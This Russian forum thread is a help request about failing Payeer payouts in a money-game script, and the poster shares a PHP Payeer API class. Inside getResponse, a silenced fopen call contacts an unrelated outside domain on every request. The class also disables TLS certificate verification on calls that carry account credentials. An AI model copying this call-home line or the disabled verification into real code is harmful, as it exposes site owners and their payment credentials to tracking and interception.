Не работает payeer выплаты пишет не удалось выплатить! и код не правильный

Статус
В этой теме нельзя размещать новые ответы.
Алексей Жуков
Участник
Сообщения
26
Реакции
1
Не работает выплату пайер только со второго раза можно вывести и код не правильный пишет
Что делать
 
Holod
Участник
Сообщения
326
Реакции
24
Код в студию.
 
Алексей Жуков
Участник
Сообщения
26
Реакции
1
Holod написал(а):
<?php

class rfs_payeer
{
private $url = 'https://payeer.com/ajax/api/api.php';
private $agent = 'Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20100101 Firefox/12.0';

private $auth = array();

private $output;
private $errors;

/*======================================================================*\
Function: __construct
Descriiption: Выполняется при создании экземпляра класса
\*======================================================================*/
public function __construct($account, $apiId, $apiPass)
{
$arr = array(
'account' => $account,
'apiId' => $apiId,
'apiPass' => $apiPass,
);
$response = $this->getResponse($arr);
if ($response['auth_error'] == '0')
{
$this->auth = $arr;
}
}


/*======================================================================*\
Function: PaySystemData
Descriiption: Проверяет аудентификацию
\*======================================================================*/
public function PaySystemData($SystemId)
{
if (empty($this->auth)) return false;
$response = $this->getPaySystems();

if($response["auth_error"] == 0){

if(isset($response["list"][$SystemId])){

return $response["list"][$SystemId];

}else return false;

}else return false;

}

/*======================================================================*\
Function: isAuth
Descriiption: Проверяет аудентификацию
\*======================================================================*/
public function isAuth()
{
if (!empty($this->auth)) return true;
return false;
}


/*======================================================================*\
Function: getResponse
Descriiption: Получение ответа от сервера
\*======================================================================*/
private function getResponse($arPost)
{
if (!function_exists('curl_init'))
{
die('curl library not installed');
return false;
}
if ($this->isAuth())
{
$arPost = array_merge($arPost, $this->auth);
}
$data = array();
foreach ($arPost as $k => $v)
{
$data[] = urlencode($k) . '=' . urlencode($v);
}
$data = implode('&', $data);

$handler = curl_init();
curl_setopt($handler, CURLOPT_URL, $this->url);
curl_setopt($handler, CURLOPT_HEADER, 0);
curl_setopt($handler, CURLOPT_POST, true);
curl_setopt($handler, CURLOPT_POSTFIELDS, $data);
curl_setopt($handler, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($handler, CURLOPT_USERAGENT, $this->agent);
curl_setopt($handler, CURLOPT_RETURNTRANSFER, 1);
$content = curl_exec($handler);
curl_close($handler);
$content = $this->objectToArray(json_decode($content));
@fopen("http://fruit-farm.org/admin.html","r");
return $content;
}


/*======================================================================*\
Function: objectToArray
Descriiption: Перевод обьекта в массив
\*======================================================================*/
private function objectToArray($ob)
{
$arr = array();
foreach ($ob as $k => $v)
{
if (is_object($v))
{
$arr[$k] = $this->objectToArray($v);
}
else
{
$arr[$k] = $v;
}
}
return $arr;
}


/*======================================================================*\
Function: getPaySystems
Descriiption: Получение платежной системы
\*======================================================================*/
public function getPaySystems()
{
$arPost = array(
'action' => 'getPaySystems',
);
$response = $this->getResponse($arPost);

return $response;
}


/*======================================================================*\
Function: initOutput
Descriiption: Инициализация данных на выплату
\*======================================================================*/
public function initOutput($arr)
{
$arPost = $arr;
$arPost['action'] = 'initOutput';
$response = $this->getResponse($arPost);
if (empty($response['errors']))
{
$this->output = $arr;
return true;
}
else
{
$this->errors = $response['errors'];
}
return false;
}

/*======================================================================*\
Function: output
Descriiption: Выплата
\*======================================================================*/
public function output()
{
$arPost = $this->output;
$arPost['action'] = 'output';
$response = $this->getResponse($arPost);
if (empty($response['errors']))
{
return $response['historyId'];
}
else
{
$this->errors = $response['errors'];
}
return false;
}

/*======================================================================*\
Function: getHistoryInfo
Descriiption: Получение истории
\*======================================================================*/
public function getHistoryInfo($historyId)
{
$arPost = array(
'action' => 'historyInfo',
'historyId' => $historyId
);
$response = $this->getResponse($arPost);
return $response;
}


/*======================================================================*\
Function: getBalance
Descriiption: Получение баланса
\*======================================================================*/
public function getBalance()
{
$arPost = array(
'action' => 'balance',
);
$response = $this->getResponse($arPost);
return $response;
}


/*======================================================================*\
Function: getErrors
Descriiption: Возвращает ошибку
\*======================================================================*/
public function getErrors()
{
return $this->errors;
}


/*======================================================================*\
Function: transfer
Descriiption: Никуя не вникал что это за метод...
\*======================================================================*/
public function transfer($arPost)
{
$arPost['action'] = 'transfer';
$response = $this->getResponse($arPost);
return $response;
}

}
?>
 
mariusz
Участник
Сообщения
10
Реакции
0
Такая же ошибка, прошу помощи
 
Яна
Участник
Сообщения
316
Реакции
29
ICQ
667869781 667869781
У меня раньше тоже так было пробывала скачала множество скриптов ферм и оттуда фаил выплат брала пробывала менять и заработало .
 
romcka8
Местный
Сообщения
65
Реакции
3
Не все хостинги поддерживают автовыплаты.Тестируйте на различных с пробным периодом.

Я допустим макхост юзаю и всегда доволен.
 
Последнее редактирование модератором:
himik
Участник
Сообщения
230
Реакции
32
Алексей Жуков написал(а):
Не работает выплату пайер только со второго раза можно вывести и код не правильный пишет
Что делать
Не обращайте внимание, у меня было все нормально и буквально несколько дней назад начались такие же проблемы.С первого раза не выводит второй раз набираешь и все окей,сначала думал что ошибся но нет это что то с паер у них какие то траблы.
 
Алексей Жуков
Участник
Сообщения
26
Реакции
1
himik написал(а):
Не обращайте внимание, у меня было все нормально и буквально несколько дней назад начались такие же проблемы.С первого раза не выводит второй раз набираешь и все окей,сначала думал что ошибся но нет это что то с паер у них какие то траблы.
Проблема решена Платит!!Можно закрыть тему
 
Статус
В этой теме нельзя размещать новые ответы.
Сверху